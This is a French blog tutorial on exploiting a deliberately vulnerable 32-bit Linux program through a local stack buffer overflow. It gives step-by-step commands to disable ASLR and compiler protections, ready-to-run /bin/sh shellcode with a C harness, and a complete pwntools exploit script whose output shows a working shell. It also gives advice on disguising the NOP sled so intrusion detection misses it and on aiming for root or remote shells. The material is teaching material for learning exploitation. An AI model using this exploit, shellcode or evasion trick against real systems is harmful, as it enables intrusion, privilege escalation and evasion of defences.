[PROLOG] 0x004, Local Shellcode par Stack Buffer OverFlow (Part 2) (French version)

November 26, 2022    prolog bof

Hello,

Toujours dans cette série de billets d’échauffement (série PROLOG), nous nous étions laissés la dernière fois sur un billet expliquant ce qu’était un BUFFER OVERFLOW (le billet est ici). Je vous propose maintenant de passer à la pratique en obtenant un Shell par l’utilisation d’un STACK Buffer Overflow.

Toujours dans un souci de pédagogie, nous allons prendre un exemple simple :

  • Une erreur de programmation flagrante
  • Un exécutable ne disposant d’aucun moyen de protection de sa stack
  • Un OS pour lequel nous aurions désactivé l’ASLR qui le protège de ce type d’exploitation
  • Une execution locale (et non remote)

Un peu plus tard, nous verrons que ces moyens de protection, même activés, sont eux aussi ‘bypassable’ …

Je ne ferai pas de rappel théorique dans ce billet, pour cela je vous renvoie aux billets PROLOG précédents.

Le principe de base du Stack Buffer Overflow

Le principe de base consiste donc à venir écraser la valeur présente à l’adresse de retour lors de l’appel d’une fonction. Cette valeur d’EIP/RIP ayant été préalablement (et automatiquement) sauvegardée sur la pile au moment du CALL de cette fonction. La sauvegarde automatique par l’instruction CALL de cette valeur est nécessaire afin de pouvoir rebrancher le flux d’exécution une fois l’exécution de la fonction terminée. “Bah Oui, je vais où moi maintenant ? demande le processeur ;-)

Plus précisément, nous souhaitons REMPLACER/SUBSTITUER cette valeur (une adresse mémoire) par une une autre adresse; adresse sur laquelle nous aurions préalablement ‘posé’ notre Shellcode (ou toute autre forme de Payload).

Donc, nous allons profiter de pouvoir écrire au-delà de la taille attendue (cf le Billet sur le Buffer Overflow), pour poser une chaîne de caractères qui sera exécutée par le processeur.

Le vilain programme

Je sais, il est vilain, mais il va nous permettre d’apprendre ;-)

A compiler (ici en 32 bit pour notre exemple) avec tous les mécanismes de protection désactivés

gcc -fno-stack-protector -no-pie -m32 -z execstack bof.c -o BUF

et pour désactiver l’ASLR de votre OS:

# echo 0 > /proc/sys/kernel/randomize_va_space

Cette (vilaine) directive permet de faire en sorte que les adresses mémoire ne soient pas aléatoires au sein de la stack.

ATTENTION, il faudra remettre tout cela à 1 après nos travaux, si vous ne voulez pas fragiliser votre système. Un reboot du système rétablit aussi cette protection de l’OS.

J’utilise RIZIN / RZ-BIN, juste pour vérifier que mon binaire ait bien été compilé avec tous les mécanismes de protection désactivés:

$  rz-bin -I ./BUF

[Info]
arch     x86
cpu      N/A
baddr    0x08048000
binsz    0x00003144
bintype  elf
bits     32  < ==== Compilé pour 32 Bit
class    ELF32
compiler GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0
dbg_file N/A
endian   LE
hdr.csum N/A
guid     N/A
intrp    /lib/ld-linux.so.2
laddr    0x00000000
lang     c
machine  Intel 80386
maxopsz  16
minopsz  1
os       linux
cc       N/A
pcalign  0
relro    partial < ====
rpath    NONE
subsys   linux
stripped true 
crypto   false
havecode true
va       true
sanitiz  false
static   false
linenum  false
lsyms    false
canary   false  < ====
PIE      false  < ====
RELROCS  false
NX       false  < ====

Comment déterminer cette adresse ?

Nous disposons de plusieurs techniques pour déterminer l’adresse mémoire de la sauvegarde d’EIP. Je vous propose ici la plus simple:

  1. Prendre le programme sur GDB (ou RIZIN si vous le préférez à ce bon vieux GDB ;-)
  2. Flooder le buffer vulnérable pour déclencher le SEG FAULT
  3. Noter l’adresse du SEG FAULT

C’est à cette adresse que se trouve la sauvegarde d’EIP (déposée lors du CALL) à laquelle nous devons inscrire le début de notre SHELLCODE.

We love ❤️ pwntools ❤️

Afin de gagner un peu de temps, nous allons utiliser l’excellent framework python pwntools. Ce framework de CTF va nous rendre bien des services dans la mise au point de nos exploits. Le premier service qu’il va nous rendre est de nous générer la séquence de caractères pour flooder notre buffer vulnérable:

$  python3 -m pip install --upgrade pwntools
$ cyclic 100 > flood300.txt
$ cat flood300.txt
$ cat flood300 | wc -m
300
$

Note: Pour rendre ce bon vieux GDB un peu plus friendly pour le RE, je vous invite vivement à lui adjoindre le module pwnDbg qui vous dotera de 160 commandes fortes utiles et d’une UX plus plaisante pour le debug et le RE.

Donc en avant toute avec GDB et ses modules pwnDbg:

$ gdb -q ./BUF

pwndbg: loaded 160 pwndbg commands and 46 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./BUF...
------- tip of the day (disable with set show-tips off) -------
Use the context (or ctx) command to display the context once again. You can reconfigure the context layout with set context-section <sections> or forward the output to a file/tty via set context-output <file>. See also config context to configure it further!
  
pwndbg> r < flood300.txt 

Starting program: /home/naptax/code/BUF/bin/LINUX-ELF/BUF < flood300.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

A quelle ONG spuhaitez-vous faire un don ? 
Vous avez fait un don de 1667326322 euros a l'ONG aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaac.

Program received signal SIGSEGV, Segmentation fault.
0x63616171 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────────────────────────────────────────────
*EAX  0x160
*EBX  0x6361616f ('oaac')
 ECX  0x0
 EDX  0x0
*EDI  0xf7ffcb80 (_rtld_global_ro) ◂— 0x0
*ESI  0xffffd164 —▸ 0xffffd32f ◂— '/home/naptax/code/BUF/bin/LINUX-ELF/BUF'
*EBP  0x63616170 ('paac')
*ESP  0xffffd09c ◂— 'raacsaactaacuaacvaacwaacxaacyaac'
*EIP  0x63616171 ('qaac')
────────────────────────────────────────────────────────────────────────────────────[ DISASM / i386 / set emulate on ]─────────────────────────────────────────────────────────────────────────────────────
Invalid address 0x63616171


─────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ esp 0xffffd09c ◂— 'raacsaactaacuaacvaacwaacxaacyaac'
01:0004│     0xffffd0a0 ◂— 'saactaacuaacvaacwaacxaacyaac'
02:0008│     0xffffd0a4 ◂— 'taacuaacvaacwaacxaacyaac'
03:000c│     0xffffd0a8 ◂— 'uaacvaacwaacxaacyaac'
04:0010│     0xffffd0ac ◂— 'vaacwaacxaacyaac'
05:0014│     0xffffd0b0 ◂— 'waacxaacyaac'
06:0018│     0xffffd0b4 ◂— 'xaacyaac'
07:001c│     0xffffd0b8 ◂— 'yaac'
───────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0 0x63616171
   f 1 0x63616172
   f 2 0x63616173
   f 3 0x63616174
   f 4 0x63616175
   f 5 0x63616176
   f 6 0x63616177
   f 7 0x63616178
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> 

On note bien les informations suivantes:

1. EIP = 0x63616171, soit ('qaac' en ASCII), déclenche bien le SEG FAULT 
2. ESP = 0xffffd09c

Maintenant que nous savons comment remplacer l’adresse à exécuter au retour du Call du printf(), il nous faut du code à éxécuter.

Hello Shellcode 🎁

Il existe des ouvrages entiers sur l`écriture de ShellCode, et je trouve personnellent assez rigolo de développer ces bouts de code malicieux. Néanmoins, je vous propose ici pour produire le notre de nous appuyer à nouveau sur pwntools.

Ce que l’on souhaite, c’est un petit bout de code binaire qui nous donne un shell en éxécutant tout simplement la commande suivante /bin/sh.

Afin de ne pas dévier de notre sujet, nous allons utiliser l’outil shellcraft du framework pwntools. Nous sommes ici dans un contexte 32 bit sous Linux, so:

$ shellcraft i386.linux.sh -f s

"jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3h\x01\x01\x01\x01\x814\x24ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"

Quelques paramètres de shellcraft utiles:

  • Pour voir/produire votre Shellcode en ASM
$ shellcraft i386.linux.sh -f a
    /* execve(path='/bin///sh', argv=['sh'], envp=0) */
    /* push b'/bin///sh\x00' */
    push 0x68
    push 0x732f2f2f
    push 0x6e69622f
    mov ebx, esp
    /* push argument array ['sh\x00'] */
    /* push 'sh\x00\x00' */
    push 0x1010101
    xor dword ptr [esp], 0x1016972
    xor ecx, ecx
    push ecx /* null terminate */
    push 4
    pop ecx
    add ecx, esp
    push ecx /* 'sh\x00' */
    mov ecx, esp
    xor edx, edx
    /* call execve() */
    push SYS_execve /* 0xb */
    pop eax
    int 0x80
  • Pour tester/éxécuter votre Shellcode
$ shellcraft i386.linux.sh -r

[*] '/tmp/pwn-asm-hb32fl7f/step3-elf'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
[+] Starting local process '/tmp/pwn-asm-hb32fl7f/step3-elf': pid 5556
[*] Switching to interactive mode

$ id
uid=1000(naptax) gid=1000(naptax) groups=1000(naptax),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)
$      

Avant l’arrivée de Shellcraft, j’avais pour habitude de ‘crafter’ mes shellcodes à la main en C. De ce temps là, j’ai gardé l’habitude de les tester dans un programme C avant de les injecter ailleurs.

Voici comment générer le Shellcode de shellcraft au format C, et le petit bout de code qui permet ensuite de le compiler et tester.

$ shellcraft i386.linux.sh -f c
{0x6a, 0x68, 0x68, 0x2f, 0x2f, 0x2f, 0x73, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x68, 0x1, 0x1, 0x1, 0x1, 0x81, 0x34, 0x24, 0x72, 0x69, 0x1, 0x1, 0x31, 0xc9, 0x51, 0x6a, 0x4, 0x59, 0x1, 0xe1, 0x51, 0x89, 0xe1, 0x31, 0xd2, 0x6a, 0xb, 0x58, 0xcd, 0x80}
   

à insérer dans le code suivant:

#include <stdio.h>
#include <sys/mman.h>

const char shellcode[] =  
{0x6a, 0x68, 0x68, 0x2f, 0x2f, 0x2f, 0x73, 0x68, 0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x68, 0x1, 0x1, 0x1, 0x1, 0x81, 0x34, 0x24, 0x72, 0x69, 0x1, 0x1, 0x31, 0xc9, 0x51, 0x6a, 0x4, 0x59, 0x1, 0xe1, 0x51, 0x89, 0xe1, 0x31, 0xd2, 0x6a, 0xb, 0x58, 0xcd, 0x80};

int main() { 

    mprotect(
        (void *)((int)shellcode & ~4095),
        4096,
        PROT_READ | PROT_WRITE | PROT_EXEC
    );


    int (*func)() = (int(*)())shellcode;
    return func();
}   

Je trouve que ce code illustre parfaitement le fonctionement et la puissance des pointeurs sur fonction … a mettre au programme de tout cours de langage C ❤️

Ok, nous avons le Shellcode, l’adresse mémoire visée, il ne nous reste plus qu’à calculer notre padding, et nous aurons tous les éléments nécessaires pour la création de notre exploit:

Nous allons donc construire une chaine d’octets qui sera notre PAYLOAD et dont aucun octet ne devra valoir 0*. Ce PAYLOAD va se composer des parties suivantes :

  1. Notre PADDING pour nous amener sur les theatres des opérations (trouvé avec GDB + PWNTOOLS/CYCLIC)
  2. La valeur de l’adresse de retour ciblée (trouvé avec GDB)
  3. Un tapis roulant de 32 NOP pour nous amener avec prudence auprès du SHELLCODE
  4. Le SHELLCODE qui va ici nous donner un beau /bin/sh

Et c’est cette chaine de BYTES que nous allons envoyer au programme vulnérable lorsqu’il nous demandera de saisir le nom de l’ ONG … – " Fallait pas l’inviter lui ;-) " —

Bring all together dans un programme Python qui là encore va utiliser pwntools

# EXPLOIT.PY
# ----------
# Avec pwntools en Python V3.x

from pwn import *

# Prendre sous GDB pour bien comprendre le trick 

    # GDB -q ./BUF
    # GDB : r < padding.bin
    # GDB : x/12xw $esp


TAILLE_TAPIS = 32       # On part avec un tapis roulant de 32 NOP (par sécurité)
PATTERN = 'qaac'        # Valeur EIP au moment du SEG FAULT 
                        # , résultant de notre flooding avec notre chaine CYCLIC ...

ADDRESS = 0xffffd09c + TAILLE_TAPIS

# ADDRESS = 0xffffd0bc    # GDB: x/12xw $esp || 0xffffd09c + 32 


proc = process('./BUF')
proc.recvline()

print("\nCréation de l'exploit:")

shellcode = b"jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3h\x01\x01\x01\x01\x814\x24ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"

offset = cyclic_find(PATTERN) # Renvoi la position dans la pattern prèalablement générée par Pwntools.Cyclic()
                              # c-a-d le contenu de EIP au moment du crash 

padding = b'A' * offset       # Amorce avec un tasseau de A (ici on en a besoin de 268)

f= open("padding.bin","wb")   # Un fichier, juste pour pouvoir declencher le SEG FAULT plus facilement dans GDB plus tard
f.write(padding)
f.close()

eip_cible = p32(ADDRESS + 1) 
tapis_nop = b'\x90' * TAILLE_TAPIS # on rempli notre tapis roulant de NOP pour glisser 
                                   # gentillement vers 0xffffd09c (EIP)


shellcode = b"jhh\x2f\x2f\x2fsh\x2fbin\x89\xe3h\x01\x01\x01\x01\x814\x24ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80"


payload = padding + eip_cible + tapis_nop + shellcode # on construit notre charge utile

print("Payload = ", payload) # j'adore voir cette suite d'octets s'afficher ;-)


f= open("payload.bin","wb") # juste pour sauvegarder mon payload dans un fichier pour pouvoir le rejouer en DEBUG plus tard dans IDA
f.write(payload)
f.close()

proc.send(payload)

proc.interactive()

et un shell tout chaud, un …

$ python3 ./exploit.py

[+] Starting program './BUF': Done
Création de l'exploit:

[*] Switching to interactive mode

$ id
Vous avez fait un don de -1869574000 euros a l'ONG Payload =  b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbd\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'

$

$ id
uid=1000(naptax) gid=1000(naptax) groups=1000(naptax),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare)

Dissimuler son tapis de NOP

Notons que les différents IDS trouveront suspicieux cette suite de NOP. En effet, il est rare qu’une telle suite soit nécéssaire pour une exécution souhaitée. C’est pourquoi, il faut mieux opter pour d’autres instructions d’un octet plus neutres pour faire avancer le flux d’éxécution vers notre Shellcode. En voici une fiable et simple:

Mettre des registres à zéro, puis enchainer les instructions inc et dec de telle manière à ce que le flux avance et les valeurs des registres restent à 0 à la fin du train. Exemple avec eax

    xor eax, eax
    inc eax     ' 0x40
    dec eax     ' 0x48
    inc eax     ' 0x40
    dec eax     ' 0x48
    inc eax     ' 0x40
    dec eax     ' 0x48
(...)

Remplacez vos 0x90 0x90 par une série de 0x40 0x48. Cela signe un peu moins comme une signature de Sled.

Pour finir

On est en droit de se demander à quoi peut servir de lancer en local un programme qui lance un shell. Voici 3 scénarios possibles :

  1. Le programme vulnérable appartient à un utilisateur et/ou groupe disposant de plus de privilèges sur le système local que votre user (ex:admin, apache, …)

  2. En plus d’etre vulnérable, le vilain programme appartient à root et a positioné le bit setuid à 1. Dans ce cas, le shell que vous allez ‘spawner’ sera un shell root

  3. Le programme vulnérable n’est pas forcément local … mais en REMOTE. Et son exploitation par débordement de pile vous permet alors de disposer d’un shell sur ce système distant ❤️ Le must étant de disposer d’un remote shell avec privilèges root.

D’ailleurs nous conclurons prochainement cette série PROLOG de mise en jambe (avant les choses sérieuses) par un dernier billet qui expliquera la version Remote Stack Buffer Overflow (ma préférée ;-)

Stay tuned